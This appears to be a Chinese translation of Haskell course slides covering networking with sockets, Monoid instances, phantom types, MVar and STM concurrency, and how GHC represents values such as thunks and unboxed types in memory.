- 如果你的操作系统缺少nc：wget cs240h.stanford.edu/netcat.hs

解决方案

play :: MVar Move -> MVar Move -> (Handle, HostName, PortNumber) -> IO () play myMoveMVar opponentMoveMVar (h, host, port) = do putStrLn $ "Connection from host " ++ host ++ " port " ++ show port myMove <- getMove h putMVar myMoveMVar myMove opponentMove <- takeMVar opponentMoveMVar let o = outcome myMove opponentMove hPutStrLn h $ "You " ++ show o netrock :: PortID -> IO () netrock listenPort = bracket (listenOn listenPort) sClose $ \s -> do mv1 <- newEmptyMVar mv2 <- newEmptyMVar let cleanup mv (h,_,_) = do tryPutMVar mv (error "something blew up") hClose h wait <- newEmptyMVar forkIO $ bracket (accept s) (cleanup mv1) (play mv1 mv2) `finally` putMVar wait () bracket (accept s) (cleanup mv2) (play mv2 mv1) takeMVar wait

网络

在Network.Socket中还有低级别的 BSD 套接字支持

socket :: Family -> SocketType -> ProtocolNumber -> IO Socket connect :: Socket -> SockAddr -> IO () bindSocket :: Socket -> SockAddr -> IO () listen :: Socket -> Int -> IO () accept :: Socket -> IO (Socket, SockAddr)

getAddrInfo像[RFC3493]一样查找主机名（返回AddrInfo])

getAddrInfo :: Maybe AddrInfo -> Maybe HostName -> Maybe ServiceName -> IO [AddrInfo]

例如：获取与 web 服务器通信的SockAddr：

webServerAddr :: String -> IO SockAddr webServerAddr name = do addrs <- getAddrInfo Nothing (Just name) (Just "www") return $ addrAddress $ head $ addrs

例如：netcat

netcat :: String -> String -> IO () netcat host port = do -- Extract address from first AddrInfo in list AddrInfo{ addrAddress = addr, addrFamily = family }:_ <- getAddrInfo Nothing (Just host) (Just port) -- Create a TCP socket connected to server s <- socket family Stream 0 connect s addr -- Convert socket to handle h <- socketToHandle s ReadWriteMode hSetBuffering h NoBuffering -- THIS IS IMPORTANT -- Punt on complex locale stuff hSetBinaryMode stdout True -- Copy data back and forth taking advantage of laziness done <- newEmptyMVar forkIO $ (hGetContents h >>= putStr) `finally` putMVar done () getContents >>= hPutStr h takeMVar done

幻影

让我们思考一个我们见过但没有注意到的编程模式。

模式：I

0 + n == n n + 0 == n

(a + b) + c == a + (b + c)

模式：II

1 * n == n n * 1 == n

(a * b) * c == a * (b * c)

模式：III

[]

[] ++ n == n n ++ [] == n

(a ++ b) ++ c == a ++ (b ++ c)

模式：IV

True

True && n == n n && True == n

(a && b) && c == a && (b && c)

抽象的模式

类型类：

class Monoid a where -- A "zero element"  mempty :: a -- An associative operation  mappend :: a -> a -> a

你在哪里可以找到这个类型类？

import Data.Monoid

单子

Monoid 的实例必须遵守一些规则。

规则 1：单位元素

mempty `mappend` n == n n `mappend` mempty == n

规则 2：我们的结合操作 必须确实结合。

(a `mappend` b) `mappend` c == a `mappend` (b `mappend` c)

规则？

单子来自抽象代数。

在抽象代数中，必须为真的规则被称为公理。

也称为规律。

在 Haskell 中，这些规则/公理/法则是如何强制执行的？

它们不是。

列表的单子

这是最简单和最熟悉于 Haskell 程序员的情况：

instance Monoid [a] where mempty = [] xs `mappend` ys = xs ++ ys

快速测验：

还有哪些定义符合 Monoid 的规律？
它们有任何意义吗？

数字的单子？

数字是一个有趣的案例。

加法作为单子：

单位 0
结合运算符 +

乘法作为单子：

单位 1
结合运算符 *

我们何时使用类型类？

假设你想将一个代码模式抽象成一个类型类。

在什么情况下这可能效果最好？

当对于给定类型只有一个 "规范" 行为时。

对于列表，我们的 Monoid 实例是规范的：

遵循规律的任何其他行为都只是奇怪的。

对于数字，我们有两种合理的行为：

没有一个 Monoid 实例可以被称为规范的！

乘法的单子

newtype Product a = Product { getProduct :: a } deriving (Eq, Ord, Read, Show, Bounded) instance Num a => Monoid (Product a) where mempty = Product 1 Product x `mappend` Product y = Product (x * y)

加法的单子

newtype Sum a = Sum { getSum :: a } deriving (Eq, Ord, Read, Show, Bounded) instance Num a => Monoid (Sum a) where mempty = Sum 0 Sum x `mappend` Sum y = Sum (x + y)

`Either` 类型

存在一个名为 Either 的内置类型。

data Either a b = Left a | Right b

按照惯例：

Left 表示 "出了问题"
Right 表示 "结果是成功"

常用如下：

type Result a = Either String a

（其中 String 携带一个错误消息）

编码练习

创建一个 Monoid 实例，从一系列 Either 值中获得 第一个成功。

期望的行为：

Left "you goofed" `mappend` Left "i win!" `mappend` Right "rats! you won!" == Right "rats! you won!"

你有五分钟。

编码练习的环境设备

如果你导入 Data.Monoid，你将有以下定义可用：

class Monoid a where  mempty :: a  mappend :: a -> a -> a data Either a b = Left a | Right b

语言障碍

你试过写这样的代码吗？

instance Monoid (Either a b) where mempty = Left {- what ??? -} Right a `mappend` _ = Right a _ `mappend` b = b

当你试图定义 mempty 时肯定会遇到麻烦。

为什么？

类型量化

在 Haskell 中，类型变量被量化。

它们代表给定域中的所有类型。

如果没有提到类型类，类型变量隐式地被普遍量化。

我们可以明确地写出这些量词：

length :: forall a. [a] -> Int

"length 函数必须接受任何列表，无论它包含什么类型的数据。"

全称量化

全称量化在这里为什么相关？

instance Monoid (Either a b) where mempty = Left {- what ??? -}

全称量化

全称量化在这里为什么相关？

instance Monoid (Either a b) where mempty = Left {- what ??? -}

由于 mempty 给出了一个 "零元素"，它必须以某种方式为类型 a 产生一个零元素。

但由于 a 是普遍量化的，它代表 每种类型。

显然没有一个合法的值适用于每种类型。

不可能编写一个明智的实例。

一个可能的修复

这也不会通过类型检查：

instance Monoid (Either String a) where mempty = Left "fnord" Right a `mappend` _ = Right a _ `mappend` b = b

然而，我们可以通过在源文件顶部添加以下内容使其编译通过：

{-# LANGUAGE FlexibleInstances #-}

指示

这是一个特殊格式的注释：

{- i am a normal comment -} {-# i am a special comment #-}

"特殊" 注释通常包含改变编译器行为的指令（"指示"）。

LANGUAGE指令启用非标准语言特性。

{-# LANGUAGE FlexibleInstances #-}

FlexibleInstances使编译器考虑更多类型类实例作为合法，而不仅仅是 Haskell 98 标准允许的。

回到我们的修复

这将通过类型检查：

{-# LANGUAGE FlexibleInstances #-} instance Monoid (Either String a) where mempty = Left "fnord" Right a `mappend` _ = Right a _ `mappend` b = b

但它是否是规范的？

规范性

为什么要担心我们的Monoid实例是否规范？

每当声明任何类型类的实例时：

它会自动提供给导入你模块的每个模块。
你不能说“我不想导入实例X” 😦

如果你为一个流行类型类定义一个奇怪的实例，你会“感染”那些导入你模块的人。

确保你的实例是有意义的！

终于！

通过使用newtype，我们不会意外地将一个愚蠢的Monoid实例与Either String a关联起来。

{-# LANGUAGE FlexibleInstances #-} import Data.Monoid newtype FirstRight a b = FirstRight {  getFirstRight :: Either a b } instance Monoid (FirstRight String a) where mempty = FirstRight (Left "suxx0rz") a@(FirstRight (Right _)) `mappend` _ = a _ `mappend` b = b

HTTP POST

让我们向服务器上传一些至关重要的数据。

curl --data foo=bar --verbose \ http://httpbin.org/post

多部分表单上传

当我们向表单 POST 多部分数据（例如上传照片）时，一些信息是强制性的，而其他内容是可选的。

data Part = Part { -- name of the <input> tag this belongs to  name :: String -- filename of file we're uploading , fileName :: Maybe FilePath -- type of file , contentType :: Maybe ContentType -- file contents , body :: String } deriving (Show)

上传数据

假设我们想构建一个支持 POST 的 HTTP 客户端。

网页通常期望多部分表单数据，而 REST API 有不同的需求。

这里有一些类型，让我们能够表示一个 POST 主体。

type Param = (String, String) type ContentType = String data Payload = NoPayload | Raw ContentType String | Params [Param] | FormData [Part] deriving (Show)

你能为Payload编写一个Monoid实例吗？

自行决定，然后与伙伴讨论 2 分钟。

哼

这部分足够简单：

instance Monoid Payload where mempty = NoPayload mappend NoPayload b = b mappend a NoPayload = a mappend (Params a) (Params b) = Params (a++b) {- ... -}

剩下的mappend呢？

语义问题

很容易看出我们如何将Params或FormData粘合在一起。

data Payload = NoPayload | Raw ContentType String | Params [Param] | FormData [Part]

然而，混合Raw和Params，或Params和FormData，是荒谬的。

一个直接的Monoid实例将不得不崩溃（！！！）如果我们尝试这样做。

处理失败（糟糕地）

如果我们使用Maybe类型来表示对mappend的失败尝试呢？

{-# LANGUAGE FlexibleInstances #-} -- I dropped the NoPayload constructor. Why? data Payload = Raw ContentType String | Params [Param] | FormData [Part] deriving (Show) instance Monoid (Maybe Payload) where mempty = Nothing mappend Nothing b = b mappend a Nothing = a mappend (Just (Params a)) (Just (Params b)) = Just (Params (a++b)) mappend (Just (FormData a)) (Just (FormData b)) = Just (FormData (a++b)) mappend _ _ = Nothing

耶？

这样编译是可以的，但存在一个概念问题。

每次我们使用mappend，我们都必须模式匹配结果，看看mappend是否成功。

在 API 设计圈子中，这被称为“糟糕”。

但等等，情况会变得更糟！

哦，错误消息，你在哪里？

让我在ghci中尝试一下：

Just (Params []) `mappend` Just (Params [])

重叠实例

还记得FlexibleInstances吗？

它允许我们为类型Maybe Payload编写一个Monoid实例。

麻烦的是，Data.Monoid已经为Maybe a定义了一个实例。

FlexibleInstances允许这两个定义快乐地共存。

但是当我们想使用一个实例时，GHC 不知道该使用哪一个！

重叠实例

进入OverlappingInstances指令：

{-# LANGUAGE FlexibleInstances, OverlappingInstances #-}

这允许多个实例共存并被使用。

可见的最具体实例将被使用。

一个非常方便的扩展！

也是一个指向你脚的大语义枪。

重叠实例的问题

为什么要担心OverlappingInstances？

使得不正确的程序仍然可以通过类型检查。
可能导致混乱的错误消息。
一个经过类型检查的程序可以通过在某个远程模块中添加一个实例声明来改变其含义。

一方面，你可以发表关于它们问题的论文，所以对于学术生涯来说并不糟糕。

检查中

我们有一个Monoid实例：

有一个糟糕的 API
使用了一个不靠谱的语言扩展

我们能做得更好吗？

幻影类型

让我们在Payload类型的左侧添加一个类型参数。

data Payload a = NoPayload | Raw ContentType String | Params [Param] | FormData [Part] deriving (Show)

类型变量a不出现在 RHS 中。

我们称之为幻影类型。

它是用来做什么的？

一个小型的上传 API

param :: String -> String -> Payload [Param] param name value = Params [(name, value)]

filePart :: String -> FilePath -> IO (Payload [Part]) filePart name path = do body <- readFile name return (FormData [Part name (Just path) Nothing body])

考虑这些类型

param :: String -> String -> Payload [Param] filePart :: String -> FilePath -> IO (Payload [Part])

注意：

第一个函数返回一个Payload [Param]
第二个返回一个Payload [Part]

幻影参数使这些类型不同。

在每种情况下，运行时表示是相同的。
编译器通过防止我们意外混合两者。

代码片段

请为下面的addParams写一个主体。

instance Monoid (Payload [Param]) where mempty = NoPayload mappend = addParams

下载你需要的代码：

curl -L http://cs240h.scs.stanford.edu/PayloadPhantom.hs

你有五分钟。

让这一切都起作用

我们为创建Payload值有一个受限的公共 API。

param :: String -> String -> Payload [Param] filePart :: String -> FilePath -> IO (Payload [Part]) fileString :: String -> Maybe FilePath -> String -> (Payload [Part])

我们如何强制执行这一点？

我们导出了类型Part的名称，但不导出任何构造函数。

导出一个类型

下面的(..)表示“导出类型Part及其所有构造函数”。

module PayloadPhantom ( Part(..) {- ... trimmed out ... -} ) where

导出一个类型

下面的(..)表示“导出类型Part及其所有构造函数”。

module PayloadPhantom ( Part(..) {- ... trimmed out ... -} ) where

注意下面我们省略了(..)，表示“导出类型Payload，但不导出任何构造函数”。

module PayloadPhantom ( Part(..) , Payload -- no constructors {- ... trimmed out ... -} ) where

导出一个类型

下面的(..)表示“导出类型Part及其所有构造函数”。

module PayloadPhantom ( Part(..) {- ... trimmed out ... -} ) where

所以我们导出Payload类型，只有我们定义和控制的函数（“智能构造函数”）来构造这种类型的值。

module PayloadPhantom ( Part(..) , Payload -- no constructors , param , filePart , fileString {- ... trimmed out ... -} ) where

尝试一下

在ghci中：

ghci> param "foo" "bar" <> param "baz" "quux" Params [("foo","bar"),("baz","quux")]

这使用了我从Data.Monoid中喜欢的运算符：

(<>) :: Monoid m => m -> m -> m (<>) = mappend

如果我们尝试这样做，我们会得到什么？

param "foo" "bar" <> fileString "baz" Nothing "quux"

最后的幺半群

以下哪些情况应该写Monoid实例？

data Payload a = NoPayload | Raw ContentType String | Params [Param] | FormData [Part] deriving (Show)

为什么这么在意幺半群？

幺半群有许多优点：

简单
客户容易使用
强迫你早期解决 API 设计问题

没有单位的幺半群

喜欢抽象代数的方法吗？

Hackage 上的一个名为semigroups的包为我们提供了没有单位操作的幺半群：半群。

唉：

Monoid类型是在semigroups包之前开发的
这两者应该有关联，但由于历史原因，它们并没有

原则

为什么要关心幻影类型和幺半群？

我们想要构建尽可能简单正确的库

幺半群帮助我们专注于简单性。

幻影类型使得构建 API 更容易，编译器可以防止绝对错误的行为。

可变变量

我们已经看到了非常方便的MVar类型，它表示一个“阻塞可变盒子”：我们可以放入一个值或取出一个值，但如果放入时已满或取出时为空，我们将被阻塞。

尽管MVar是行业中最快的阻塞并发结构（它在不到十二秒的时间内完成了 Kessel 跑道！），但我们并不总是希望阻塞语义。

对于需要非阻塞更新的情况，有IORef类型，它提供了可变引用。

import Data.IORef newIORef :: a -> IO (IORef a) readIORef :: IORef a -> IO a writeIORef :: IORef a -> a -> IO () modifyIORef :: IORef a -> (a -> a) -> IO ()

管理变异

应用程序编写者经常面临这样的问题：

我有一个大型应用程序，其中的部分需要在运行时由管理员调整其行为。

当然，解决这种问题的方法有很多种。

让我们考虑一个使用配置数据片段引用的情况。

在IO单子中执行的任何代码，如果知道配置引用的名称，都可以检索当前配置：

curCfg <- readIORef cfgRef

麻烦的是，不规范的代码显然也可能修改当前配置，并让我们陷入调试噩梦。

幻影类型来拯救！

让我们创建一种新类型的可变引用。

我们使用幻影类型t来静态跟踪代码是否被允许修改引用。

import Data.IORef newtype Ref t a = Ref (IORef a)

记住，我们在这里使用newtype意味着Ref类型仅在编译时存在：它不会产生任何运行时成本。

由于我们使用了幻影类型，我们甚至不需要访问控制类型的值：

data ReadOnly data ReadWrite

我们已经处于一个良好的位置！我们不仅创建了编译器强制执行的访问控制，而且它将零运行时成本。

创建一个可变引用

要创建一个新引用，我们只需确保它具有正确的类型。

newRef :: a -> IO (Ref ReadWrite a) newRef a = Ref `fmap` newIORef a

读取和写入可变引用

由于我们希望能够读取只读和读写引用，因此在为readRef编写类型签名时不需要提及访问模式。

readRef :: Ref t a -> IO a readRef (Ref ref) = readIORef ref

当然，只有编译器可以通过类型系统静态证明代码具有写访问权限时，代码才能写入引用。

writeRef :: Ref ReadWrite a -> a -> IO () writeRef (Ref ref) v = writeIORef ref v

将引用转换为只读

这个函数允许我们将任何类型的引用转换为只读引用：

readOnly :: Ref t a -> Ref ReadOnly a readOnly (Ref ref) = Ref ref

为了防止客户端将只读引用提升为读写引用，我们不提供相反方向的函数。

我们还在源文件顶部使用熟悉的构造函数隐藏技术：

module Ref ( Ref, -- export type ctor, but not value ctor newRef, readOnly, readRef, writeRef ) where

进一步阅读

一篇非常好的阅读：

使用单子进行数据分析

用于 MapReduce 的单子：

Google 的 MapReduce 编程模型---再探

MVars 再访

练习：编写转账函数在账户之间转移资金
- wget cs240h.stanford.edu/transfer.hs
```
import Control.Concurrent import Control.Monad type Account = MVar Double transfer :: Double -> Account -> Account -> IO () transfer amount from to = ???
```
- 应该能够与多个线程一起原子地工作
- 例如，其他线程不应该看到任何一个账户中的资金或两个账户中的资金
- 如果账户中资金不足，则不要转移资金

例子：

*Main> :load "transfer.hs" Ok, modules loaded: Main. *Main> main 9.0 1.0

第一次尝试解决方案

type Account = MVar Double transfer :: Double -> Account -> Account -> IO () transfer amount from to = modifyMVar_ from $ \bf -> do when (bf < amount) $ fail "not enough money" modifyMVar_ to $ \bt -> return $! bt + amount return $! bf - amount

上述代码有什么问题？

第一次尝试解决方案

type Account = MVar Double transfer :: Double -> Account -> Account -> IO () transfer amount from to = modifyMVar_ from $ \bf -> do when (bf < amount) $ fail "not enough money" modifyMVar_ to $ \bt -> return $! bt + amount return $! bf - amount

上述代码有什么问题？
1. 在同时在两个方向转移资金时可能会发生死锁
```
forkIO $ transfer 1 ac1 ac2 forkIO $ transfer 1 ac2 ac1
```
2. 当账户中没有足够的资金时抛出异常很丑陋...如果我们只是等待足够的资金出现然后完成转账会怎样？
你会如何解决＃1？

第二次尝试解决方案

策略：对第二个MVar使用非阻塞tryTakeMVar
- 如果失败，释放两者并以不同顺序重试

transfer :: Double -> Account -> Account -> IO () transfer amount from to = do let tryTransfer = modifyMVar from $ \ bf -> do when (bf < amount) $ fail "not enough money" mbt <- tryTakeMVar to case mbt of Just bt -> do putMVar to $! bt + amount return (bf - amount, True) Nothing -> return (bf, False) ok <- tryTransfer unless ok $ safetransfer (- amount) to from

这已经够恶心了吗？
- 如果没有，在from中没有足够的资金时让代码休眠
- ...或修复以正确处理异步异常

软件事务内存

如果我们改用类似数据库的事务呢？
- 读取和写入一堆变量
- 写入最初进入日志，然后在最后以原子方式提交
- 是否出现不一致的视图或与另一个更新冲突？没问题，只需中止并重试整个事务
在 C 或 Java 中很难做到
- 如果事务期间向网络或文件系统写入会怎样？
- “外部化”操作不容易回滚
但在 Haskell 中，IO类型（或其缺乏）可以控制副作用
幻灯片灵感来自[Peyton Jones]中的优秀文章

STM基础知识

新的变量类型TVar a（有点像IORef a）

模块Control.Concurrent.TVar提供给你

newTVarIO :: a -> IO (TVar a) readTVarIO :: TVar a -> IO a readTVar :: TVar a -> STM a writeTVar :: TVar a -> a -> STM () modifyTVar :: TVar a -> (a -> a) -> STM () -- lazy modifyTVar' :: TVar a -> (a -> a) -> STM () -- strict

新的STM单子允许TVar访问但没有不可逆的副作用
```
atomically :: STM a -> IO a
```
- atomically让你从IO中运行STM计算
- 你会得到：一个全局锁的语义+细粒度锁的并行性！
- 作为交换，你放弃了执行外部化的IO操作的能力

STM 示例

type Account = TVar Double transfer :: Double -> Account -> Account -> STM () transfer amount from to = do modifyTVar' from (subtract amount) modifyTVar' to (+ amount) main :: IO () main = do ac1 <- newTVarIO 10 ac2 <- newTVarIO 0 atomically $ transfer 1 ac1 ac2

注意：subtract a b = b - a
- 语言瑕疵：与所有其他二元运算符不同，无法使用(- a)创建部分，因为那是一元否定（即0-a）
如果账户中没有足够的资金，你想等待吗？

中止

retry :: STM a orElse :: STM a -> STM a -> STM a

retry中止事务

但STM知道TVar的代码读取以检测冲突...
可以休眠直到某些TVar代码读取发生变化而无需显式条件变量

transfer :: Double -> Account -> Account -> STM () transfer amount from to = do bf <- readTVar from when (amount > bf) retry modifyTVar' from (subtract amount) modifyTVar' to (+ amount)

orElse如果第一个操作中止则尝试第二个操作（如果两个都中止则休眠）

transfer2 :: Double -> Account -> Account -> Account -> STM () transfer2 amount from1 from2 to = atomically $ transferSTM amount from1 to `orElse` transferSTM amount from2 to

实际上提供了嵌套事务

强制执行不变量

alwaysSucceeds :: STM a -> STM ()

alwaysSucceeds在每次事务后添加不变量检查

（不变量抛出异常或其返回值被忽略）
例如：假设你对负账户余额很担心

newAccount :: Double -> STM Account newAccount balance = do tv <- newTVar balance alwaysSucceeds $ do balance <- readTVar tv when (balance < 0) $ fail "negative balance" return tv bogus :: IO () bogus = do ac <- atomically $ newAccount 10 atomically $ modifyTVar ac (subtract 15)

将立即捕获错误并回滚错误事务

*Main> bogus *** Exception: negative balance

转换话题...

让我们回到纯函数式代码
编译器如何在内存中表示数据？

天真的 Haskell 数据表示

一个值需要一个构造函数，加上参数
- 在运行时，需要确定值的构造函数，但不需要确定其类型
  
  （编译器已经对程序进行了类型检查，因此没有运行时类型检查）
```
struct Val { unsigned long constrno; /* constructor # */ struct Val *args[]; /* flexible array */ };
```
- 对于像[Int]这样的类型，constrno可能为[]的 0，(:)的 1，其中[]具有 0 大小的args，(:)具有 2 个元素的args
- 对于像Int这样的类型，constrno可以是实际的整数，没有args
- 对于单构造函数类型（例如Point），不使用constrno
到目前为止我们的方法存在问题
- 没有办法表示异常或惰性计算
- 垃圾收集器需要知道args中有多少元素
- 诸如Int之类的小值总是需要追踪指针

增加间接层来描述值

typedef struct Val { const struct ValInfo *info; struct Val *args[]; } Val; /* Statically allocated at compile time. Only one per  * constructor (or closure-creating expression, etc.) */ struct ValInfo { struct GCInfo gcInfo; /* for garbage collector */ enum { CONSTRNO, FUNC, THUNK, IND } tag; union { unsigned int constrno; Val *(*func) (const Val *closure, const Val *arg); Exception *(*thunk) (Val *closure); }; };

gcInfo指示args中有多少个Val *以及它们的位置
tag == CONSTRNO表示constrno有效，如上一张幻灯片所示
tag == IND表示args[0]是指向另一个Val的间接转发指针，联合体未使用；如果args的大小增长，则此方法很有用

函数值

具有ValInfo的tag == FUNC的Val使用func字段

 Val *(*func) (const Val *closure, const Val *arg);

要将函数f应用于参数a（其中两者都是类型为Val *的值）：
```
 f->info->func (f, a);
```
请注意，func的第一个参数（closure）是函数Val本身
- 提供一个闭包环境，以便可以重复使用ValInfo/func
func的第二个参数（arg）是函数正在评估的参数a
假设所有函数都只接受一个参数
- 逻辑上这是没问题的，因为我们有柯里化
- 为了性能，真正的编译器必须优化多参数情况

闭包

顶层绑定不需要func的closure参数
```
addOne :: Int -> Int addOne x = x + 1
```
- 函数addOne的Val可以具有零长度的args
本地绑定可能需要closure中的环境值
```
add :: Int -> (Int -> Int) add n = \m -> addn m where addn m = n + m
```
- 编译器只会为本地函数addn生成一次代码
- 但从逻辑上讲，每次调用add都会有一个单独的addn函数（带有不同的n）
- 因此，每个addn实例都是不同的Val，但都共享相同的ValInfo
- 在每个Val中使用args[0]来指定n的值

惰性计算值

一个带有tag == THUNK的Val使用ValInfo中的thunk字段
```
 Exception *(*thunk) (Val *closure);
```
- 更新 v（将其转换为非惰性）或返回一个非NULL的Exception *
要评估一个惰性计算：
```
 v->info->thunk (v);
```
惰性计算和函数之间有两个重要区别
- 一个函数需要一个参数，而一个惰性计算不需要
- 函数值是不可变的，而惰性计算会更新自身
还要注意，惰性计算可能会抛出异常
- 函数也可以，但为了简单起见，让函数返回一个会抛出异常的惰性计算

强制执行

将 thunk 转换为非 thunk 称为强制它
如果一个 thunk 的返回值不适合 thunk 的args怎么办？
- 这就是为什么我们有IND ValInfo标记--分配新的Val，在旧的Val中放置间接转发指针

一个可能的强制实现，遍历IND指针：

Exception *force (Val **vp) { for (;;) { if ((*vp)->info->tag == IND) *vp = (*vp)->arg[0]; else if ((*vp)->info->tag == THUNK) { Exception *e = (*vp)->info->thunk (*vp); if (e) return e; } else return NULL; } }

柯里化

让我们使用柯里化的简单实现（GHC 非常复杂）
将closure->args设置为先前柯里化参数列表的头部
```
const3 :: a -> b -> c -> a const3 a b c = a
```
- 编译器发出 3 个ValInfo和 3 个const3函数
- 顶层绑定的ValInfo具有func = const3_1
- const3_1创建Val v1，其中arg[0]是第一个参数（a），info->func = const3_2
- const3_2创建一个Val v2，其中arg[0]是第二个参数（b），arg[1]是v1，info->func是const3_3
- const3_3可以访问所有参数，并实际实现const3

共享参数具有共同的参数尾部，只评估一次

 let f = const3 (superExpensive 5) -- v1, evaluated once in (f 1 2, f 3 4)

柯里化示例的代码

const3 :: a -> b -> c -> a const3 a b c = a

Val *const3_1 (Val *ignored, Val *a) { v = (Val *) gc_malloc (offsetof (Val, args[1])); v->info = &const3_2_info; /* func = const3_2 */ v->args[0] = a; return v; } Val *const3_2 (Val *closure, Val *b) { v = (Val *) gc_malloc (offsetof (Val, args[2])); v->info = &const3_3_info; /* func = const3_3 */ v->args[0] = b; v->args[1] = closure; return v; } Val *const3_3 (Val *v, Val *c) { return v->args[1]->args[0]; }

未装箱类型

不幸的是，现在Int有更多的开销
- 要使用，必须检查i->info->tag，然后访问i->info->constr
- 此外，每个数字都需要一个不同的ValInfo结构（但ValInfo是静态分配的--你怎么知道程序将需要哪些数字）
思路：有特殊的未装箱类型，不使用struct Val
```
union Arg { struct Val *boxed; /* most values are boxed */ unsigned long unboxed; /* "primitive" values */ }; typedef struct Val { const struct ValInfo *info; union Arg args[]; /* args can be boxed or unboxed */ } Val;
```
- 未装箱类型没有构造函数，不能是 thunk（没有ValInfo）
- 可以适合单个寄存器或取代Val *参数的位置
- 必须扩展GCInfo以识别哪些参数是装箱的，哪些不是

GHC 中的未装箱类型

GHC 暴露了未装箱类型（尽管不是 Haskell 的一部分）
- 符号使用#字符--必须使用-XMagicHash选项启用
- 有未装箱类型（Int#）和对它们的原始操作（+#）
- 参见GHC.Prim或在 GHCI 中键入":browse GHC.Prim"
- 也有未装箱常量--2#, 'a'#, 2##（无符号），2.0##

Int到底是什么？

单构造函数数据类型，带有单个未装箱参数

Prelude> :set -XMagicHash Prelude> :m +GHC.Types GHC.Prim Prelude GHC.Types GHC.Prim> :i Int data Int = I# Int# -- Defined in GHC.Types ... Prelude GHC.Types GHC.Prim> case 1 of I# u -> I# (u +# 2#) 3

让Int包含 thunk，但一旦评估就避免指针解引用

未装箱类型的限制

不能用未装箱类型实例化类型变量

{-# LANGUAGE MagicHash #-} import GHC.Prim data FastPoint = FastPoint Double# Double# -- ok fp = FastPoint 2.0## 2.0## -- ok -- Error: can't pass unboxed type to polymorphic function fp' = FastPoint 2.0## (id 2.0##) -- Error: can't use unboxed type as type parameter noInt :: Maybe Int# noInt = Nothing

通过使未装箱类型成为不同种类的类型来强制执行
```
Prelude GHC.Types GHC.Prim> :kind Int# Int# :: #
```
- 请记住类型变量的种类是星号（∗，∗ → ∗等），而不是#
- 多态性有效，因为所有种类为∗的类型都表示为Val *

重新审视`seq`

回想一下seq :: a -> b -> b
- 如果强制seq a b，那么首先强制a，然后强制并返回b

考虑以下代码（类似于并发讲座）：

infiniteLoop = infiniteLoop :: Char -- loops forever seqTest1 = infiniteLoop `seq` "Hello" -- loops forever seqTest2 = str `seq` length str -- returns 6 where str = infiniteLoop:"Hello"

seqTest1永远挂起，而seqTest2愉快地返回 6

seq只强制Val，而不是Val的arg字段
- seqTest2的seq强制str的构造函数(:)，但不强制头部或尾部
- 这被称为将str放入弱头正规形式（WHNF）
- 无法完全评估任意数据类型（但参见Control.DeepSeq）

例子：假设的`seq`实现

const struct ValInfo seq_info = { some_gcinfo, THUNK, .thunk = &seq_thunk }; Val *seq_2 (Val *closure, Val *b) { /* assume seq_1 put first arg of (seq a b) in closure */ c = (Val *) gc_malloc (offsetof (Val, args[2])); c->info = &seq_info; c->args[0] = closure->args[0]; c->args[1] = b; return c; } Exception *seq_thunk (Void *c) { Exception *e = force (&c->args[0]); if (!e) { c->info = &ind_info; /* ValInfo with tag = IND */ c->args[0] = c->args[1]; /* forward to b */ } return e; }

重新审视严格性

回顾数据声明中字段的严格性标志
```
data IntWrapper = IntWrapper !Int
```
- Int之前有!，表示它必须是严格的
- 严格意味着Int的ValInfo不能有tag THUNK或IND
访问严格的Int只会触及一个缓存行
- 回顾data Int = I# Int#只有一个构造函数
- 加上严格标志意味着tag == CONSTRNO，所以知道ValInfo中有什么
- 另外Int#是非装箱的
- 因此，一旦IntWrapper被强制，立即可以安全地访问Int
```
 myIntWrapper.arg[0].boxed->arg[0].unboxed
```

严格性的语义效果

严格性主要用于优化
- 避免建立长链的 thunks
- 为了节省检查 thunk 是否已评估的开销
但具有语义效果：非严格的Int不仅仅是一个数字
- 也可以在评估时抛出异常或永远循环
- 这种行为可以被建模为一个特殊值 ⊥（"底部"）
- 因此，Int的值为{0, 1}⁶⁴ ∪
- 包含值 ⊥ 的类型称为lifted
注意 1：非装箱类型必然是非 lifted 的

注意 2：!Int不是一种一流类型，只对data字段有效

data SMaybe a = SJust !a | SNothing -- ok, data field strictAdd :: !Int -> !Int -> !Int -- error type StrictMaybeInt = Maybe !Int -- error

重新审视`case`语句

case语句模式匹配可以强制 thunks
- 一个不可辩驳的模式总是匹配的
- 由单个变量或_组成的模式是不可辩驳的
- 任何非不可辩驳的模式都会强制评估参数
- 匹配从上到下进行，而在备选方案内从左到右进行

函数模式匹配与case相同

回想undefined :: a是一个值为 ⊥ 的Prelude符号

f ('a':'b':rest) = rest f _ = "ok" test1 = f (undefined:[]) -- error test2 = f ('a':undefined) -- error test3 = f ('x':undefined) -- "ok" (didn't force tail)

在模式之前加上~使其不可辩驳

three = (\ ~(h:t) -> 3) undefined -- evaluates to 3

`newtype`声明

我们已经看到了引入新类型的两种方式
- data -- 创建一个新的（装箱的）类型，增加了Val包装器的开销
- type -- 为现有类型创建一个别名，没有额外开销
有时你想要一个由现有类型实现的新类型
- 例如，可能希望Meters、Seconds、Grams都由Double实现
- 使用type会使它们变得同义，容易出错
- 可能希望为每个实例使用不同的Show，这在type中是不可能的
- 可以说data Meters = Meters Double -- 但会增加开销
newtype关键字引入了没有额外开销的新类型
- 使用方式与data相同，但限于一个构造函数和一个字段
- 这是因为所有类型检查都是在编译时进行的

`newtype`语义

这两个声明之间的语义差异是什��？

newtype NTInt = NTInt Int deriving (Show)

data SInt = SInt !Int deriving (Show)

练习：假设你有
```
uNTInt = NTInt undefined uSInt = SInt undefined
```
编写代码，使uNTInt与uSInt的行为不同

`newtype`语义

这两个声明之间的语义差异是什么？

newtype NTInt = NTInt Int deriving (Show)

data SInt = SInt !Int deriving (Show)

NTInt构造函数是一个"虚假"的仅在编译时存在的构造

解构newtype的case语句编译成空

newtype NTInt = NTInt Int deriving (Show) uNTInt = NTInt undefined testNT = case uNTInt of NTInt _ -> True -- returns True

相反，强制一个值（通过匹配构造函数）会强制严格字段

data SInt = SInt !Int deriving (Show) uSInt = SInt undefined testS = case uSInt of SInt _ -> True -- undefined

`UNPACK`指令

当适用时，newtype几乎总是比data更好
多字段数据类型怎么办？
```
data TwoInts = TwoInts !Int !Int
```
- 字段是严格的，我们知道它们将具有CONSTRNO ValInfo
- 为什么不直接将Int#直接放入TwoInts Val的args中？
- GHC 提供了一个UNPACK指令来做到这一点
```
data TwoInts = TwoInts {-# UNPACK #-} !Int {-# UNPACK #-} !Int
```
- 适用于任何具有单构造器数据类型的严格字段
与newtype不同，UNPACK并不总是胜出
- 如果将字段作为参数传递，将需要重新装箱它
-funbox-strict-fields标志展开所有严格字段

`ByteString`

Haskell String显然不是很高效
严格ByteString可以高效地操作原始字节
```
import qualified Data.ByteString as S import qualified Data.ByteString.Char8 as S8
```
